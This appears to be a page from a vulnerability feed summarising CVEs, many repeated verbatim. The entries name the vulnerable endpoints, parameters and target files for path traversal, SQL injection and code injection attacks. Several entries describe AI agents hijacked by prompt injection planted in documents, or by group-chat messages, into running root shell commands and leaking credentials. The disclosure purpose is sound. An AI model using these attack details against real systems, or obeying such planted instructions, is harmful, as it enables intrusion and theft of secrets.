KEV evidence not available.

### MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter.
https://kevwire.com/record/CVE-2018-25439
MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter. (Oct 22, 2026).
MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter. Attackers can send crafted requests with backslash sequences bypassing the str_replace filter to read files like config_db.php on Windows. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2018-25439).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-25439&date=2026-10-25).
Sources:
NVD CVE-2018-25439: https://nvd.nist.gov/vuln/detail/CVE-2018-25439
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-25439&date=2026-10-25
MetInfo CMS 6.0.0 before 6.1.1 contains a path traversal vulnerability in /include/thumb.php that allows unauthenticated attackers to read arbitrary files via the dir parameter. Attackers can send crafted requests with backslash sequences bypassing the str_replace filter to read files like config_db.php on Windows. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### WooThemes Diarise through 1.5.9 contains a file read vulnerability that allows unauthenticated attackers to read arbitrary files through the calendar parameter of download.php.
https://kevwire.com/record/CVE-2019-25779
WooThemes Diarise through 1.5.9 contains a file read vulnerability that allows unauthenticated attackers to read arbitrary files through the calendar parameter of download.php. (Oct 22, 2026).
WooThemes Diarise through 1.5.9 contains a file read vulnerability that allows unauthenticated attackers to read arbitrary files through the calendar parameter of download.php. Attackers can send GET requests with file:// scheme paths to the calendar parameter to disclose sensitive files like /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2019-25779).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-25779&date=2026-10-25).
Sources:
NVD CVE-2019-25779: https://nvd.nist.gov/vuln/detail/CVE-2019-25779
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-25779&date=2026-10-25
WooThemes Diarise through 1.5.9 contains a file read vulnerability that allows unauthenticated attackers to read arbitrary files through the calendar parameter of download.php. Attackers can send GET requests with file:// scheme paths to the calendar parameter to disclose sensitive files like /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-19.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weaver E-cology 8.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files through the fpath parameter of the...
https://kevwire.com/record/CVE-2021-48013
Weaver E-cology 8.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files through the fpath parameter of the... (Oct 22, 2026).
Weaver E-cology 8.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files through the fpath parameter of the /weaver/ln.FileDownload endpoint. Attackers can send crafted GET requests with directory traversal sequences in fpath to retrieve sensitive files such as WEB-INF/web.xml from the server. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2021-48013).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-48013&date=2026-10-25).
Sources:
NVD CVE-2021-48013: https://nvd.nist.gov/vuln/detail/CVE-2021-48013
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-48013&date=2026-10-25
Weaver E-cology 8.0 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files through the fpath parameter of the /weaver/ln.FileDownload endpoint. Attackers can send crafted GET requests with directory traversal sequences in fpath to retrieve sensitive files such as WEB-INF/web.xml from the server. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JeeWMS before commit 0a610e8 contains an unauthenticated path traversal vulnerability that allows remote attackers to read arbitrary files via the dbPath parameter.
https://kevwire.com/record/CVE-2021-48015
JeeWMS before commit 0a610e8 contains an unauthenticated path traversal vulnerability that allows remote attackers to read arbitrary files via the dbPath parameter. (Oct 22, 2026).
JeeWMS before commit 0a610e8 contains an unauthenticated path traversal vulnerability that allows remote attackers to read arbitrary files via the dbPath parameter. Attackers can send GET requests to /systemController/showOrDownByurl.do with ../ sequences in dbPath, which bypasses AuthInterceptor, to retrieve files like win.ini. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-17.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2021-48015).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-48015&date=2026-10-25).
Sources:
NVD CVE-2021-48015: https://nvd.nist.gov/vuln/detail/CVE-2021-48015
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-48015&date=2026-10-25
JeeWMS before commit 0a610e8 contains an unauthenticated path traversal vulnerability that allows remote attackers to read arbitrary files via the dbPath parameter. Attackers can send GET requests to /systemController/showOrDownByurl.do with ../ sequences in dbPath, which bypasses AuthInterceptor, to retrieve files like win.ini. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-17.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### DedeCMS through 5.8.1-beta contains a PHP code injection vulnerability in ShowMsg() where the HTTP Referer header is written into a DedeTemplate string and included.
https://kevwire.com/record/CVE-2021-48016
DedeCMS through 5.8.1-beta contains a PHP code injection vulnerability in ShowMsg() where the HTTP Referer header is written into a DedeTemplate string and included. (Oct 22, 2026).
DedeCMS through 5.8.1-beta contains a PHP code injection vulnerability in ShowMsg() where the HTTP Referer header is written into a DedeTemplate string and included. Unauthenticated attackers can send a crafted Referer to /plus/flink.php?dopost=save with an empty validate code to execute arbitrary PHP and system commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2021-48016).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-48016&date=2026-10-25).
Sources:
NVD CVE-2021-48016: https://nvd.nist.gov/vuln/detail/CVE-2021-48016
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-48016&date=2026-10-25
DedeCMS through 5.8.1-beta contains a PHP code injection vulnerability in ShowMsg() where the HTTP Referer header is written into a DedeTemplate string and included. Unauthenticated attackers can send a crafted Referer to /plus/flink.php?dopost=save with an empty validate code to execute arbitrary PHP and system commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OrbiTeam BSCW Server 5.x before 5.2.5 and 7.x before 7.4.4 contains an unauthenticated path traversal vulnerability in the style_name parameter of the theme operation.
https://kevwire.com/record/CVE-2021-48017
OrbiTeam BSCW Server 5.x before 5.2.5 and 7.x before 7.4.4 contains an unauthenticated path traversal vulnerability in the style_name parameter of the theme operation. (Oct 22, 2026).
OrbiTeam BSCW Server 5.x before 5.2.5 and 7.x before 7.4.4 contains an unauthenticated path traversal vulnerability in the style_name parameter of the theme operation. Attackers can send GET requests to /pub/bscw.cgi/<id>?op=theme with ../ sequences in style_name to read local files such as /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-22.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2021-48017).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-48017&date=2026-10-25).
Sources:
NVD CVE-2021-48017: https://nvd.nist.gov/vuln/detail/CVE-2021-48017
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-48017&date=2026-10-25
OrbiTeam BSCW Server 5.x before 5.2.5 and 7.x before 7.4.4 contains an unauthenticated path traversal vulnerability in the style_name parameter of the theme operation. Attackers can send GET requests to /pub/bscw.cgi/<id>?op=theme with ../ sequences in style_name to read local files such as /etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-22.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### YiShaAdmin 2.2 through 3.1, fixed in commit 025b062, contains an unauthenticated path traversal vulnerability in the /admin/File/DownloadFile endpoint that allows attackers to...
https://kevwire.com/record/CVE-2022-51022
YiShaAdmin 2.2 through 3.1, fixed in commit 025b062, contains an unauthenticated path traversal vulnerability in the /admin/File/DownloadFile endpoint that allows attackers to... (Oct 22, 2026).
YiShaAdmin 2.2 through 3.1, fixed in commit 025b062, contains an unauthenticated path traversal vulnerability in the /admin/File/DownloadFile endpoint that allows attackers to read and delete arbitrary files via the filePath parameter. Attackers can send crafted GET requests with directory traversal sequences in filePath and set the delete parameter to read or remove system files like etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.
CVSS 8.8 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2022-51022).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-51022&date=2026-10-25).
Sources:
NVD CVE-2022-51022: https://nvd.nist.gov/vuln/detail/CVE-2022-51022
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-51022&date=2026-10-25
YiShaAdmin 2.2 through 3.1, fixed in commit 025b062, contains an unauthenticated path traversal vulnerability in the /admin/File/DownloadFile endpoint that allows attackers to read and delete arbitrary files via the filePath parameter. Attackers can send crafted GET requests with directory traversal sequences in filePath and set the delete parameter to read or remove system files like etc/passwd. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-20.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PHPOK 4.5.000 before 5.4.081 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate ORDER BY clauses via the sort parameter.
https://kevwire.com/record/CVE-2022-51023
PHPOK 4.5.000 before 5.4.081 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate ORDER BY clauses via the sort parameter. (Oct 22, 2026).
PHPOK 4.5.000 before 5.4.081 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate ORDER BY clauses via the sort parameter. Attackers can send GET requests to /api.php?c=project&f=index with extractvalue payloads in sort to extract database information through error messages. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.
CVSS 8.8 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2022-51023).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-51023&date=2026-10-25).
Sources:
NVD CVE-2022-51023: https://nvd.nist.gov/vuln/detail/CVE-2022-51023
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-51023&date=2026-10-25
PHPOK 4.5.000 before 5.4.081 contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate ORDER BY clauses via the sort parameter. Attackers can send GET requests to /api.php?c=project&f=index with extractvalue payloads in sort to extract database information through error messages. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Kavita 0.5.2 before 0.5.4.1 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by supplying '../' sequences in the filename...
https://kevwire.com/record/CVE-2022-51024
Kavita 0.5.2 before 0.5.4.1 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by supplying '../' sequences in the filename... (Oct 22, 2026).
Kavita 0.5.2 before 0.5.4.1 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by supplying '../' sequences in the filename parameter. Attackers can send GET requests to /api/image/cover-upload with filename values like ../appsettings.json to retrieve configuration files outside the temp directory. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2022-51024).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-51024&date=2026-10-25).
Sources:
NVD CVE-2022-51024: https://nvd.nist.gov/vuln/detail/CVE-2022-51024
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-51024&date=2026-10-25
Kavita 0.5.2 before 0.5.4.1 contains a path traversal vulnerability that allows unauthenticated attackers to read arbitrary files by supplying '../' sequences in the filename parameter. Attackers can send GET requests to /api/image/cover-upload with filename values like ../appsettings.json to retrieve configuration files outside the temp directory. Exploitation evidence was first observed by the Shadowserver Foundation on 2023-10-18.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### i-Netsolution Readymade Unilevel Ecommerce MLM (2024-03-15 build) contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries...
https://kevwire.com/record/CVE-2024-58393
i-Netsolution Readymade Unilevel Ecommerce MLM (2024-03-15 build) contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries... (Oct 22, 2026).
i-Netsolution Readymade Unilevel Ecommerce MLM (2024-03-15 build) contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries through the 'id' parameter. Attackers can send GET requests to /product-details.php with boolean-based, stacked, or time-based SLEEP payloads in 'id' to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-09-14.
CVSS 8.8 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2024-58393).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-58393&date=2026-10-25).
Sources:
NVD CVE-2024-58393: https://nvd.nist.gov/vuln/detail/CVE-2024-58393
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-58393&date=2026-10-25
i-Netsolution Readymade Unilevel Ecommerce MLM (2024-03-15 build) contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries through the 'id' parameter. Attackers can send GET requests to /product-details.php with boolean-based, stacked, or time-based SLEEP payloads in 'id' to extract database information. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-09-14.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in the WhatsApp group channel in Kiro Crew might allow a remote actor who is a member of an operator-configured WhatsApp group to control the operator's...
https://kevwire.com/record/CVE-2026-112380
Missing authorization in the WhatsApp group channel in Kiro Crew might allow a remote actor who is a member of an operator-configured WhatsApp group to control the operator's... (Oct 20, 2026).
Missing authorization in the WhatsApp group channel in Kiro Crew might allow a remote actor who is a member of an operator-configured WhatsApp group to control the operator's other agent sessions and execute arbitrary commands on the host running Kiro Crew via messages sent to the group.



To remediate this issue, users should upgrade to version 0.7.2.
CVSS 9.0 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112380).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112380&date=2026-10-25).
Sources:
NVD CVE-2026-112380: https://nvd.nist.gov/vuln/detail/CVE-2026-112380
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112380&date=2026-10-25
Missing authorization in the WhatsApp group channel in Kiro Crew might allow a remote actor who is a member of an operator-configured WhatsApp group to control the operator's other agent sessions and execute arbitrary commands on the host running Kiro Crew via messages sent to the group.



To remediate this issue, users should upgrade to version 0.7.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a path traversal vulnerability that allows remote attackers to read sensitive server files through LLM agent file-read tools.
https://kevwire.com/record/CVE-2026-114106
HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a path traversal vulnerability that allows remote attackers to read sensitive server files through LLM agent file-read tools. (Oct 21, 2026).
HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a path traversal vulnerability that allows remote attackers to read sensitive server files through LLM agent file-read tools. Attackers can prompt the agent to invoke read_document, which lacks sandbox checks, or safe_user_path-gated tools to leak /etc/shadow, /proc/self/environ API keys, and /root credentials.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114106).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114106&date=2026-10-25).
Sources:
NVD CVE-2026-114106: https://nvd.nist.gov/vuln/detail/CVE-2026-114106
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114106&date=2026-10-25
HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a path traversal vulnerability that allows remote attackers to read sensitive server files through LLM agent file-read tools. Attackers can prompt the agent to invoke read_document, which lacks sandbox checks, or safe_user_path-gated tools to leak /etc/shadow, /proc/self/environ API keys, and /root credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands as root by planting...
https://kevwire.com/record/CVE-2026-114107
HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands as root by planting... (Oct 21, 2026).
HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands as root by planting instructions in documents or web pages the agent processes. BashTool and BackgroundRunTool pass model-emitted commands to subprocess.run with shell=True and no allow-list or approval step, and read_url fetches arbitrary URLs, enabling command execution and server-side request forgery.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114107).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114107&date=2026-10-25).
Sources:
NVD CVE-2026-114107: https://nvd.nist.gov/vuln/detail/CVE-2026-114107
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114107&date=2026-10-25
HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands as root by planting instructions in documents or web pages the agent processes. BashTool and BackgroundRunTool pass model-emitted commands to subprocess.run with shell=True and no allow-list or approval step, and read_url fetches arbitrary URLs, enabling command execution and server-side request forgery.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a missing authentication vulnerability that allows unauthenticated attackers to access the FastAPI surface because...
https://kevwire.com/record/CVE-2026-114108
HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a missing authentication vulnerability that allows unauthenticated attackers to access the FastAPI surface because... (Oct 21, 2026).
HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a missing authentication vulnerability that allows unauthenticated attackers to access the FastAPI surface because require_auth() returns early when API_AUTH_KEY is unset. Attackers can post messages to /sessions/{id}/messages to trigger root shell commands via BashTool, upload .py or .sh files via /upload, read session histories, and obtain partial API keys.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114108).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114108&date=2026-10-25).
Sources:
NVD CVE-2026-114108: https://nvd.nist.gov/vuln/detail/CVE-2026-114108
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114108&date=2026-10-25
HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a missing authentication vulnerability that allows unauthenticated attackers to access the FastAPI surface because require_auth() returns early when API_AUTH_KEY is unset. Attackers can post messages to /sessions/{id}/messages to trigger root shell commands via BashTool, upload .py or .sh files via /upload, read session histories, and obtain partial API keys.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### uv before 0.11.15 contains a path traversal vulnerability that allows malicious wheels to write files outside the scripts directory via crafted console_scripts or gui_scripts...
https://kevwire.com/record/CVE-2026-114109
uv before 0.11.15 contains a path traversal vulnerability that allows malicious wheels to write files outside the scripts directory via crafted console_scripts or gui_scripts... (Oct 21, 2026).
uv before 0.11.15 contains a path traversal vulnerability that allows malicious wheels to write files outside the scripts directory via crafted console_scripts or gui_scripts entry point names. Attackers who induce users to install a malicious wheel can place executables in PATH directories, shadowing or overwriting existing binaries for code execution.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114109).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114109&date=2026-10-25).
Sources:
NVD CVE-2026-114109: https://nvd.nist.gov/vuln/detail/CVE-2026-114109
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114109&date=2026-10-25
uv before 0.11.15 contains a path traversal vulnerability that allows malicious wheels to write files outside the scripts directory via crafted console_scripts or gui_scripts entry point names. Attackers who induce users to install a malicious wheel can place executables in PATH directories, shadowing or overwriting existing binaries for code execution.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Best Practice Software Bp Premier before 1.14.1.1128 uses a hardcoded Microsoft SQL Server administrative password that is shared across all installations and cannot be changed...
https://kevwire.com/record/CVE-2026-114119
Best Practice Software Bp Premier before 1.14.1.1128 uses a hardcoded Microsoft SQL Server administrative password that is shared across all installations and cannot be changed... (Oct 21, 2026).
Best Practice Software Bp Premier before 1.14.1.1128 uses a hardcoded Microsoft SQL Server administrative password that is shared across all installations and cannot be changed without breaking the application. Attackers with network access to the database instance can authenticate as sysadmin, bypass application authentication, and execute operating system commands as SYSTEM.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114119).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114119&date=2026-10-25).
Sources:
NVD CVE-2026-114119: https://nvd.nist.gov/vuln/detail/CVE-2026-114119
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114119&date=2026-10-25
Best Practice Software Bp Premier before 1.14.1.1128 uses a hardcoded Microsoft SQL Server administrative password that is shared across all installations and cannot be changed without breaking the application. Attackers with network access to the database instance can authenticate as sysadmin, bypass application authentication, and execute operating system commands as SYSTEM.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### D365 F&O MCP Server is a Model Context Protocol server for querying Dynamics 365 Finance & Operations X++ code and metadata.
https://kevwire.com/record/CVE-2026-114123
D365 F&O MCP Server is a Model Context Protocol server for querying Dynamics 365 Finance & Operations X++ code and metadata. (Oct 21, 2026).
D365 F&O MCP Server is a Model Context Protocol server for querying Dynamics 365 Finance & Operations X++ code and metadata. Prior to version 1.11.0, the officially documented Azure one-click deployment uses infrastructure/azuredeploy.json and infrastructure/main.bicep to default the apiKey parameter to an empty string and pass it to the App Service API_KEY setting. With API_KEY unset or empty, src/middleware/apiKeyAuth.ts passes requests through without authentication, while src/index.ts binds the HTTP listener to 0.0.0.0 by default. If the deployer leaves the optional key blank and does not add separate network restrictions or upstream authentication, the resulting public App Service allows unauthenticated JSON-RPC tools/call requests to /mcp. The deployment's MCP_SERVER_MODE=read-only setting does not prevent anonymous access to read/search tools, including search, get_object_info, batch_get_info, extension_info, security_info, find_references, and find_event_handlers, exposing indexed proprietary X++ source snippets and metadata. Exposed information can include business logic, extension and event-handler wiring, security-role and privilege structure, and labels originally indexed from PackagesLocalDirectory. Deployments protected by a configured API key, effective upstream authentication, or network restrictions preventing attacker access are outside this unauthenticated exposure scenario. This issue is fixed in version 1.11.0.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114123).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114123&date=2026-10-25).
Sources:
NVD CVE-2026-114123: https://nvd.nist.gov/vuln/detail/CVE-2026-114123
